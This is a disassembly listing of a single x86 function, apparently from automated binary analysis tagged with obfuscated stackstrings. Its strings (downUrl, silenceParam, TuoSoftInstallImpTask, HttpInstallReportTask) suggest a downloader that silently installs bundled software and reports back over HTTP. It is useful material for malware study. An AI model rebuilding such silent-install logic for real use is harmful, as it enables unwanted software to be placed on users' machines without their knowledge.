Function at 0x42f270
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ee51
mov eax, dword fs:[0]
push eax
mov eax, 0x1058
call fcn.00449800
mov eax, dword [0x46b008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xa08], ecx
mov dword [ebp - 0x9f0], 0
push 0x4c
call fcn.00449190
add esp, 4
mov dword [ebp - 0xa44], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0xa44], 0
je 0x42f304
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xea8], esp
push str.HttpPrivateReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xa44]
call fcn.00424c30
mov dword [ebp - 0xb40], eax
mov eax, dword [ebp - 0xb40]
mov dword [ebp - 0xa48], eax
jmp 0x42f30e
mov dword [ebp - 0xa48], 0
mov ecx, dword [ebp - 0xa48]
mov dword [ebp - 0xb44], ecx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xb44]
push edx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
push str.install
mov ecx, dword [ebp - 0xa08]
add ecx, 0x58
call fcn.004486f8
push eax
lea ecx, [ebp - 0xb3c]
call fcn.00448710
mov dword [ebp - 4], 1
push str.OptSoft
call fcn.0040d3a0
mov ecx, dword [eax + 0x27c]
add ecx, 0x30
call dword [0x451118]
mov ecx, eax
call dword [0x451068]
movzx eax, al
test eax, eax
je 0x42f8d3
lea ecx, [ebp - 0xd0c]
push ecx
lea ecx, [ebp - 0xb3c]
call fcn.0044872e
jmp 0x42f3a6
lea ecx, [ebp - 0xd0c]
call fcn.00448764
lea edx, [ebp - 0xef4]
push edx
lea ecx, [ebp - 0xb3c]
call fcn.0044875e
mov dword [ebp - 0xb48], eax
mov eax, dword [ebp - 0xb48]
push eax
lea ecx, [ebp - 0xd0c]
call fcn.0044876a
movzx ecx, al
test ecx, ecx
jne 0x42f3e3
mov dword [ebp - 0xa4c], 1
jmp 0x42f3ed
mov dword [ebp - 0xa4c], 0
movzx edx, byte [ebp - 0xa4c]
test edx, edx
je 0x42f8d3
lea ecx, [ebp - 0xd0c]
call fcn.00448734
mov dword [ebp - 0xb4c], eax
mov eax, dword [ebp - 0xb4c]
push eax
lea ecx, [ebp - 0xd98]
call fcn.00448710
mov byte [ebp - 4], 2
mov byte [ebp - 0x9f1], 0
lea ecx, [ebp - 0xd18]
push ecx
call fcn.0040d3a0
mov ecx, eax
call fcn.0040d6a0
mov byte [ebp - 4], 3
lea edx, [ebp - 0xd18]
mov dword [ebp - 0xa50], edx
mov eax, dword [ebp - 0xa50]
mov dword [ebp - 0xed4], eax
mov ecx, dword [ebp - 0xa50]
mov edx, dword [ecx]
mov dword [ebp - 0xb50], edx
mov eax, dword [ebp - 0xb50]
mov dword [ebp - 0xa0c], eax
jmp 0x42f484
mov ecx, dword [ebp - 0xa0c]
add ecx, 4
mov dword [ebp - 0xa0c], ecx
lea edx, [ebp - 0xd18]
mov dword [ebp - 0xa54], edx
mov eax, dword [ebp - 0xa54]
mov dword [ebp - 0xdb4], eax
mov ecx, dword [ebp - 0xa54]
mov edx, dword [ecx + 4]
mov dword [ebp - 0xb54], edx
mov eax, dword [ebp - 0xb54]
mov dword [ebp - 0xb58], eax
lea ecx, [ebp - 0xb58]
mov dword [ebp - 0xb5c], ecx
mov edx, dword [ebp - 0xb5c]
mov eax, dword [ebp - 0xa0c]
cmp eax, dword [edx]
jne 0x42f4df
mov dword [ebp - 0xa58], 1
jmp 0x42f4e9
mov dword [ebp - 0xa58], 0
mov cl, byte [ebp - 0xa58]
mov byte [ebp - 0x9f2], cl
movzx edx, byte [ebp - 0x9f2]
test edx, edx
jne 0x42f50c
mov dword [ebp - 0xa5c], 1
jmp 0x42f516
mov dword [ebp - 0xa5c], 0
mov al, byte [ebp - 0xa5c]
mov byte [ebp - 0x9f3], al
movzx ecx, byte [ebp - 0x9f3]
test ecx, ecx
je 0x42f568
mov edx, dword [ebp - 0xa0c]
mov dword [ebp - 0xb60], edx
push 0x45456c
lea ecx, [ebp - 0xd98]
call fcn.004486f8
mov ecx, eax
call fcn.004486ec
mov ecx, dword [ebp - 0xb60]
cmp dword [ecx], eax
jne 0x42f563
mov byte [ebp - 0x9f1], 1
jmp 0x42f568
jmp 0x42f475
movzx edx, byte [ebp - 0x9f1]
test edx, edx
jne 0x42f8b0
push 0x45456c
lea ecx, [ebp - 0xd98]
call fcn.004486f8
mov ecx, eax
call fcn.004486ec
mov dword [ebp - 0xb64], eax
lea eax, [ebp - 0xb64]
push eax
lea ecx, [ebp - 0xd18]
call fcn.004238c0
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0xdb8], esp
lea edx, [ebp - 0xd18]
push edx
call fcn.0040bca0
mov dword [ebp - 0xdbc], eax
mov byte [ebp - 4], 4
call fcn.0040d3a0
mov byte [ebp - 4], 3
mov ecx, eax
call fcn.0040dfc0
push 0x1a0
call fcn.00449190
add esp, 4
mov dword [ebp - 0xa60], eax
mov byte [ebp - 4], 5
cmp dword [ebp - 0xa60], 0
je 0x42f635
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xdc0], esp
push str.TuoSoftInstallImpTask
call fcn.00401a50
mov eax, dword [ebp - 0xa08]
mov ecx, dword [eax + 0x4c]
push ecx
mov ecx, dword [ebp - 0xa60]
call fcn.00425450
mov dword [ebp - 0xb68], eax
mov edx, dword [ebp - 0xb68]
mov dword [ebp - 0xa64], edx
jmp 0x42f63f
mov dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0xb6c], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0xb6c]
mov dword [ebp - 0xa38], ecx
lea edx, [ebp - 0x754]
push edx
push str.downUrl
push str.change
mov ecx, dword [ebp - 0xa08]
add ecx, 0x58
call fcn.004486f8
mov ecx, eax
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xb70], eax
push 0x451d38
mov ecx, dword [ebp - 0xb70]
call fcn.00418620
mov byte [ebp - 0x9f4], al
lea ecx, [ebp - 0x754]
call fcn.00403100
movzx eax, byte [ebp - 0x9f4]
test eax, eax
je 0x42f6e1
push 0x787
push 0x786
call fcn.0040d3a0
mov ecx, dword [eax + 0x27c]
call dword [0x451144]
push eax
mov ecx, dword [ebp - 0xa38]
call fcn.00426cf0
lea ecx, [ebp - 0x848]
call fcn.004255e0
mov byte [ebp - 4], 6
push 0x45456c
lea ecx, [ebp - 0xd98]
call fcn.004486f8
mov ecx, eax
call fcn.004486ec
mov dword [ebp - 0x7e8], eax
lea ecx, [ebp - 0x73c]
push ecx
push str.fileName
lea ecx, [ebp - 0xd98]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xb74], eax
mov edx, dword [ebp - 0xb74]
push edx
lea ecx, [ebp - 0x830]
call fcn.0040cc70
lea ecx, [ebp - 0x73c]
call fcn.00403100
lea eax, [ebp - 0x724]
push eax
push 0x45462c
lea ecx, [ebp - 0xd98]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xb78], eax
mov ecx, dword [ebp - 0xb78]
push ecx
lea ecx, [ebp - 0x818]
call fcn.0040cc70
lea ecx, [ebp - 0x724]
call fcn.00403100
lea edx, [ebp - 0x70c]
push edx
push str.silenceParam
lea ecx, [ebp - 0xd98]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xb7c], eax
mov eax, dword [ebp - 0xb7c]
push eax
lea ecx, [ebp - 0x800]
call fcn.0040cc70
lea ecx, [ebp - 0x70c]
call fcn.00403100
lea ecx, [ebp - 0x6f4]
push ecx
push str.downUrl
lea ecx, [ebp - 0xd98]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xb80], eax
mov edx, dword [ebp - 0xb80]
push edx
lea ecx, [ebp - 0x848]
call fcn.0040cc70
lea ecx, [ebp - 0x6f4]
call fcn.00403100
sub esp, 0x64
mov ecx, esp
mov dword [ebp - 0xdc4], esp
lea eax, [ebp - 0x848]
push eax
call fcn.00425540
mov ecx, dword [ebp - 0xa38]
call fcn.00436740
mov dword [ebp - 0xb84], 0x46c9f4
mov ecx, dword [ebp - 0xb84]
push ecx
call fcn.00448cc8
add esp, 4
mov dword [ebp - 0xa68], eax
cmp dword [ebp - 0xa68], 0
je 0x42f867
mov edx, dword [ebp - 0xa68]
push edx
call fcn.00448cd4
mov eax, dword [0x46ca24]
add eax, 1
mov dword [0x46ca24], eax
mov dword [ebp - 0xb88], 0x46c9f4
mov ecx, dword [ebp - 0xb88]
push ecx
call fcn.00448cce
add esp, 4
mov edx, dword [ebp - 0xa38]
push edx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x848]
call fcn.00425c20
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xd18]
call fcn.0040faa0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd98]
call fcn.004486ce
jmp 0x42f39b
push 0x4c
call fcn.00449190
add esp, 4
mov dword [ebp - 0xa6c], eax
mov byte [ebp - 4], 7
cmp dword [ebp - 0xa6c], 0
je 0x42f924
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xdc8], esp
push str.HttpTuoReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xa6c]
call fcn.00424d60
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb8c]
mov dword [ebp - 0xb24], eax
jmp 0x42f92e
mov dword [ebp - 0xb24], 0
mov ecx, dword [ebp - 0xb24]
mov dword [ebp - 0xb90], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xb90]
push edx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
push 0x40b640
push str.success
mov eax, dword [0x45126c]
push eax
call fcn.004081d0
add esp, 8
mov ecx, eax
call dword [0x451260]
lea ecx, [ebp - 0x9ec]
call fcn.00448704
mov byte [ebp - 4], 8
call fcn.0040d3a0
add eax, 0x280
push eax
lea ecx, [ebp - 0xdb0]
call fcn.00448710
mov byte [ebp - 4], 9
call fcn.0040d3a0
add eax, 0x280
mov ecx, eax
call fcn.00448746
movzx ecx, al
cmp ecx, 1
je 0x430fdd
sub esp, 0x18
mov edx, esp
mov dword [ebp - 0xdcc], esp
push edx
push str.icon
lea ecx, [ebp - 0xdb0]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xdd0], eax
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040d3a0
mov byte [ebp - 4], 9
mov ecx, eax
call fcn.004117c0
mov dword [ebp - 0xdd4], eax
mov byte [ebp - 4], 0xb
call fcn.0040d3a0
add eax, 0x234
mov dword [ebp - 0xa70], eax
lea ecx, [ebp - 0x3c4]
mov dword [ebp - 0xb94], ecx
mov edx, dword [ebp - 0xa70]
cmp edx, dword [ebp - 0xb94]
je 0x42fa52
xor eax, eax
mov byte [ebp - 0x9f5], al
movzx ecx, byte [ebp - 0x9f5]
push ecx
lea edx, [ebp - 0x3c4]
push edx
mov ecx, dword [ebp - 0xa70]
call fcn.004057a0
push str.isUp
lea ecx, [ebp - 0xdb0]
call fcn.004486f8
mov ecx, eax
call fcn.004486ec
mov dword [ebp - 0xb98], eax
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xdd8], esp
push eax
push str.fileName
lea ecx, [ebp - 0xdb0]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xddc], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x364]
push ecx
call fcn.0040d3a0
mov byte [ebp - 4], 0xb
mov ecx, eax
call fcn.004117c0
mov dword [ebp - 0xde0], eax
mov byte [ebp - 4], 0xd
sub esp, 0x18
mov edx, esp
mov dword [ebp - 0xde4], esp
push edx
push str.downUrl
lea ecx, [ebp - 0xdb0]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xde8], eax
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x5a4]
push eax
call fcn.0040d3a0
mov byte [ebp - 4], 0xd
mov ecx, eax
call fcn.004117c0
mov dword [ebp - 0xdec], eax
mov byte [ebp - 4], 0xf
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xdf0], esp
push ecx
push 0x45462c
lea ecx, [ebp - 0xdb0]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xdf4], eax
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x37c]
push edx
call fcn.0040d3a0
mov byte [ebp - 4], 0xf
mov ecx, eax
call fcn.004117c0
mov dword [ebp - 0xdf8], eax
mov byte [ebp - 4], 0x11
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xdfc], esp
push eax
push str.silenceParam
lea ecx, [ebp - 0xdb0]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov dword [ebp - 0xe00], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x3ac]
push ecx
call fcn.0040d3a0
mov byte [ebp - 4], 0x11
mov ecx, eax
call fcn.004117c0
mov dword [ebp - 0xe04], eax
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0xb98], 1
jne 0x4305d2
push 0x54
call fcn.00449190
add esp, 4
mov dword [ebp - 0xa74], eax
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0xa74], 0
je 0x42fc09
push 0
push 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe08], esp
push str.HttpInstallReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xa74]
call fcn.00424b30
mov dword [ebp - 0xb9c], eax
mov edx, dword [ebp - 0xb9c]
mov dword [ebp - 0xa78], edx
jmp 0x42fc13
mov dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0xa78]
mov dword [ebp - 0xba0], eax
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0xba0]
push ecx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
lea ecx, [ebp - 0x978]
call fcn.00404ed0
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0xa08]
push edx
lea ecx, [ebp - 0x978]
call fcn.00405550
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe0c], esp
push 0x451d38
call fcn.00401a50
mov dword [ebp - 0xe10], eax
mov byte [ebp - 4], 0x16
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe14], esp
lea eax, [ebp - 0x37c]
push eax
call fcn.00404a90
mov dword [ebp - 0xe18], eax
mov byte [ebp - 4], 0x17
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0xe1c], esp
mov dword [ebp - 0xba4], ecx
mov edx, 4
imul eax, edx, 9
mov ecx, dword [ebp - 0xba4]
mov dword [ecx + eax], 0
mov byte [ebp - 4], 0x18
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe20], esp
lea edx, [ebp - 0x364]
push edx
call fcn.00404a90
mov dword [ebp - 0xec8], eax
mov byte [ebp - 4], 0x19
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe88], esp
push 0x454284
call fcn.00401a50
mov dword [ebp - 0xe48], eax
mov byte [ebp - 4], 0x1a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xec0], esp
lea eax, [ebp - 0x5a4]
push eax
call fcn.00404a90
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x978]
call fcn.00406860
mov dword [ebp - 0xba8], eax
cmp dword [ebp - 0xba8], 0
jne 0x4305b6
lea ecx, [ebp - 0x8e0]
call dword [0x451450]
mov byte [ebp - 4], 0x1b
push 1
lea ecx, [ebp - 0x8e0]
push ecx
lea ecx, [ebp - 0x1064]
call dword [0x45145c]
mov byte [ebp - 4], 0x1c
push 0x453a44
lea ecx, [ebp - 0x6ac]
call fcn.00401a50
mov dword [ebp - 0xbac], eax
mov edx, dword [ebp - 0xbac]
mov dword [ebp - 0xbb0], edx
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0xbb0]
push eax
push 0x454284
lea ecx, [ebp - 0x6c4]
push ecx
call fcn.00421dc0
add esp, 0xc
mov dword [ebp - 0xbb4], eax
mov edx, dword [ebp - 0xbb4]
mov dword [ebp - 0xbb8], edx
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x364]
push eax
mov ecx, dword [ebp - 0xbb8]
push ecx
lea edx, [ebp - 0x6dc]
push edx
call fcn.00403b20
add esp, 0xc
mov dword [ebp - 0xbbc], eax
mov eax, dword [ebp - 0xbbc]
mov dword [ebp - 0xbc0], eax
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0xbc0]
call fcn.00406120
mov dword [ebp - 0xbc4], eax
push 1
push 0x40
push 0x20
mov ecx, dword [ebp - 0xbc4]
push ecx
lea ecx, [ebp - 0xfac]
call fcn.00423fa0
mov edx, dword [ebp - 0xfac]
mov eax, dword [edx + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov ecx, dword [ebp - 0xfac]
mov edx, dword [ecx + 4]
sub edx, 0x70
mov eax, dword [ebp - 0xfac]
mov ecx, dword [eax + 4]
mov dword [ebp + ecx - 0xfb0], edx
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x6dc]
call fcn.00403100
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x6c4]
call fcn.00403100
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x6ac]
call fcn.00403100
push 0x2000
lea edx, [ebp - 0x1004]
push edx
lea eax, [ebp - 0xfac]
push eax
call dword [0x45144c]
add esp, 0xc
lea ecx, [ebp - 0x1064]
call dword [0x451460]
lea ecx, [ebp - 0xf9c]
call fcn.00427d30
test eax, eax
jne 0x42fec7
push 0
push 2
mov ecx, dword [ebp - 0xfac]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0xfac]
call dword [0x451350]
push 0
lea ecx, [ebp - 0x8e0]
call dword [0x451458]
push eax
lea eax, [ebp - 0x34c]
push eax
call dword [0x451448]
add esp, 0xc
mov byte [ebp - 4], 0x24
mov ecx, dword [0x4517e4]
push ecx
lea edx, [ebp - 0xec4]
push edx
lea ecx, [ebp - 0x34c]
call fcn.00418b60
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xed0]
push ecx
lea ecx, [ebp - 0x34c]
call fcn.00418e90
mov edx, dword [eax]
push edx
lea eax, [ebp - 0xed8]
push eax
lea ecx, [ebp - 0x34c]
call fcn.00418b60
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0xedc]
push edx
call fcn.00417bf0
add esp, 0x14
lea eax, [ebp - 0x37c]
push eax
lea ecx, [ebp - 0x694]
call fcn.00404a90
mov dword [ebp - 0xbc8], eax
mov ecx, dword [ebp - 0xbc8]
mov dword [ebp - 0xbcc], ecx
mov byte [ebp - 4], 0x25
push 0x451d38
mov edx, dword [ebp - 0xbcc]
push edx
call fcn.004162d0
add esp, 8
mov byte [ebp - 0x9f6], al
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x694]
call fcn.00403100
movzx eax, byte [ebp - 0x9f6]
test eax, eax
je 0x430297
lea ecx, [ebp - 0x34c]
push ecx
lea ecx, [ebp - 0x37c]
call fcn.00418530
mov byte [ebp - 0x9f7], al
movzx edx, byte [ebp - 0x9f7]
test edx, edx
je 0x430292
push 0
push 0x453a44
lea ecx, [ebp - 0x664]
call fcn.00401a50
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd0]
mov dword [ebp - 0xcec], eax
mov byte [ebp - 4], 0x26
push 0x4546bc
lea ecx, [ebp - 0x784]
call fcn.00401a50
mov dword [ebp - 0xbd4], eax
mov ecx, dword [ebp - 0xbd4]
mov dword [ebp - 0xcf8], ecx
mov byte [ebp - 4], 0x27
push 0x454284
call fcn.0044a800
add esp, 4
mov dword [ebp - 0xbd8], eax
mov edx, dword [ebp - 0xbd8]
mov dword [ebp - 0xcfc], edx
mov eax, dword [ebp - 0xcfc]
push eax
push 0x454284
mov ecx, dword [ebp - 0xcf8]
call fcn.00406760
mov dword [ebp - 0xcf4], eax
mov ecx, dword [ebp - 0xcf4]
mov dword [ebp - 0xcf0], ecx
mov edx, dword [ebp - 0xcf0]
push edx
lea ecx, [ebp - 0x514]
call fcn.00404a30
mov eax, dword [ebp - 0x9f0]
or eax, 4
mov dword [ebp - 0x9f0], eax
lea ecx, [ebp - 0x514]
mov dword [ebp - 0xce8], ecx
mov byte [ebp - 4], 0x28
mov edx, dword [ebp - 0xcec]
push edx
mov eax, dword [ebp - 0xce8]
push eax
movzx ecx, byte [ebp - 0xa15]
push ecx
lea ecx, [ebp - 0x4fc]
call fcn.00424210
mov edx, dword [ebp - 0x9f0]
or edx, 8
mov dword [ebp - 0x9f0], edx
lea eax, [ebp - 0x4fc]
mov dword [ebp - 0xce4], eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x364]
push ecx
mov edx, dword [ebp - 0xce4]
push edx
lea eax, [ebp - 0x67c]
push eax
call fcn.00403b20
add esp, 0xc
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0xce0]
mov dword [ebp - 0xcd4], ecx
mov byte [ebp - 4], 0x2a
push 0x454950
call fcn.0044a800
add esp, 4
mov dword [ebp - 0xcdc], eax
mov edx, dword [ebp - 0xcdc]
mov dword [ebp - 0xcd8], edx
mov eax, dword [ebp - 0xcd8]
push eax
push 0x454950
mov ecx, dword [ebp - 0xcd4]
call fcn.00406760
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0xcd0]
mov dword [ebp - 0xccc], ecx
mov edx, dword [ebp - 0xccc]
push edx
lea ecx, [ebp - 0x4e4]
call fcn.00404a30
mov eax, dword [ebp - 0x9f0]
or eax, 0x20
mov dword [ebp - 0x9f0], eax
lea ecx, [ebp - 0x4e4]
mov dword [ebp - 0xcc8], ecx
mov byte [ebp - 4], 0x2b
sub esp, 0x18
mov edx, esp
mov dword [ebp - 0xee0], esp
lea eax, [ebp - 0x3ac]
push eax
mov ecx, dword [ebp - 0xcc8]
push ecx
push edx
call fcn.00403b20
add esp, 0xc
mov dword [ebp - 0xee4], eax
mov byte [ebp - 4], 0x2c
call fcn.0040d3a0
mov byte [ebp - 4], 0x2b
mov ecx, eax
call fcn.0040e2c0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4e4]
call fcn.00403100
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x67c]
call fcn.00403100
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x4fc]
call fcn.00403100
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x514]
call fcn.00403100
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x784]
call fcn.00403100
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x664]
call fcn.00403100
push 0x54
call fcn.00449190
add esp, 4
mov dword [ebp - 0xa7c], eax
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0xa7c], 0
je 0x430264
push 0
push 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xee8], esp
push str.HttpInstallReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xa7c]
call fcn.00424b30
mov dword [ebp - 0xcc4], eax
mov edx, dword [ebp - 0xcc4]
mov dword [ebp - 0xa80], edx
jmp 0x43026e
mov dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0xa80]
mov dword [ebp - 0xcc0], eax
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0xcc0]
push ecx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
jmp 0x43056c
push 0
push 0x453a44
lea ecx, [ebp - 0x61c]
call fcn.00401a50
mov dword [ebp - 0xcbc], eax
mov edx, dword [ebp - 0xcbc]
mov dword [ebp - 0xca0], edx
mov byte [ebp - 4], 0x2e
push 0x4546bc
lea ecx, [ebp - 0x634]
call fcn.00401a50
mov dword [ebp - 0xcb8], eax
mov eax, dword [ebp - 0xcb8]
mov dword [ebp - 0xcac], eax
mov byte [ebp - 4], 0x2f
push 0x454284
call fcn.0044a800
add esp, 4
mov dword [ebp - 0xcb4], eax
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0xcb0], ecx
mov edx, dword [ebp - 0xcb0]
push edx
push 0x454284
mov ecx, dword [ebp - 0xcac]
call fcn.00406760
mov dword [ebp - 0xca8], eax
mov eax, dword [ebp - 0xca8]
mov dword [ebp - 0xca4], eax
mov ecx, dword [ebp - 0xca4]
push ecx
lea ecx, [ebp - 0x544]
call fcn.00404a30
mov edx, dword [ebp - 0x9f0]
or edx, 0x80
mov dword [ebp - 0x9f0], edx
lea eax, [ebp - 0x544]
mov dword [ebp - 0xc9c], eax
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0xca0]
push ecx
mov edx, dword [ebp - 0xc9c]
push edx
movzx eax, byte [ebp - 0xa3d]
push eax
lea ecx, [ebp - 0x52c]
call fcn.00424210
mov ecx, dword [ebp - 0x9f0]
or ecx, 0x100
mov dword [ebp - 0x9f0], ecx
lea edx, [ebp - 0x52c]
mov dword [ebp - 0xd00], edx
mov byte [ebp - 4], 0x31
lea eax, [ebp - 0x364]
push eax
mov ecx, dword [ebp - 0xd00]
push ecx
lea edx, [ebp - 0x64c]
push edx
call fcn.00403b20
add esp, 0xc
mov dword [ebp - 0xc98], eax
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0xc8c], eax
mov byte [ebp - 4], 0x32
push 0x4546b8
call fcn.0044a800
add esp, 4
mov dword [ebp - 0xc94], eax
mov ecx, dword [ebp - 0xc94]
mov dword [ebp - 0xc90], ecx
mov edx, dword [ebp - 0xc90]
push edx
push 0x4546b8
mov ecx, dword [ebp - 0xc8c]
call fcn.00406760
mov dword [ebp - 0xc88], eax
mov eax, dword [ebp - 0xc88]
mov dword [ebp - 0xd80], eax
mov ecx, dword [ebp - 0xd80]
push ecx
lea ecx, [ebp - 0x4b4]
call fcn.00404a30
mov edx, dword [ebp - 0x9f0]
or edx, 0x400
mov dword [ebp - 0x9f0], edx
lea eax, [ebp - 0x4b4]
mov dword [ebp - 0xd7c], eax
mov byte [ebp - 4], 0x33
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe24], esp
lea edx, [ebp - 0x3ac]
push edx
mov eax, dword [ebp - 0xd7c]
push eax
push ecx
call fcn.00403b20
add esp, 0xc
mov dword [ebp - 0xe28], eax
mov byte [ebp - 4], 0x34
call fcn.0040d3a0
mov byte [ebp - 4], 0x33
mov ecx, eax
call fcn.0040e2c0
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x4b4]
call fcn.00403100
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x64c]
call fcn.00403100
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x52c]
call fcn.00403100
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x544]
call fcn.00403100
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x634]
call fcn.00403100
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x61c]
call fcn.00403100
push 0x54
call fcn.00449190
add esp, 4
mov dword [ebp - 0xa84], eax
mov byte [ebp - 4], 0x35
cmp dword [ebp - 0xa84], 0
je 0x43053e
push 0
push 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe2c], esp
push str.HttpInstallReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xa84]
call fcn.00424b30
mov dword [ebp - 0xd78], eax
mov ecx, dword [ebp - 0xd78]
mov dword [ebp - 0xa88], ecx
jmp 0x430548
mov dword [ebp - 0xa88], 0
mov edx, dword [ebp - 0xa88]
mov dword [ebp - 0xd74], edx
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0xd74]
push eax
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x34c]
call fcn.00403100
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xf3c]
call fcn.00425920
lea ecx, [ebp - 0xf3c]
call dword [0x4512a0]
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x1064]
call dword [0x451464]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x8e0]
call dword [0x451454]
push 0
call dword [0x4515b0]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x978]
call fcn.004051e0
jmp 0x430f92
call dword [0x45176c]
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [eax]
mov ecx, dword [eax + edx]
push ecx
lea ecx, [ebp - 0x334]
call fcn.00401a50
mov byte [ebp - 4], 0x36
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0xd70], edx
push 0xffffffffffffffff
push 0x453a44
lea ecx, [ebp - 0x334]
call fcn.0041bd00
mov ecx, dword [ebp - 0xd70]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0xd68], ecx
push 0xffffffffffffffff
push 0x453a44
lea ecx, [ebp - 0x334]
call fcn.0041bd00
add eax, 1
mov dword [ebp - 0xd64], eax
lea edx, [ebp - 0x334]
mov dword [ebp - 0xe30], edx
lea eax, [ebp - 0xa0d]
mov dword [ebp - 0xd6c], eax
mov ecx, dword [ebp - 0xd6c]
push ecx
mov edx, dword [ebp - 0xd68]
push edx
mov eax, dword [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x334]
push ecx
lea ecx, [ebp - 0x58c]
call fcn.00417cb0
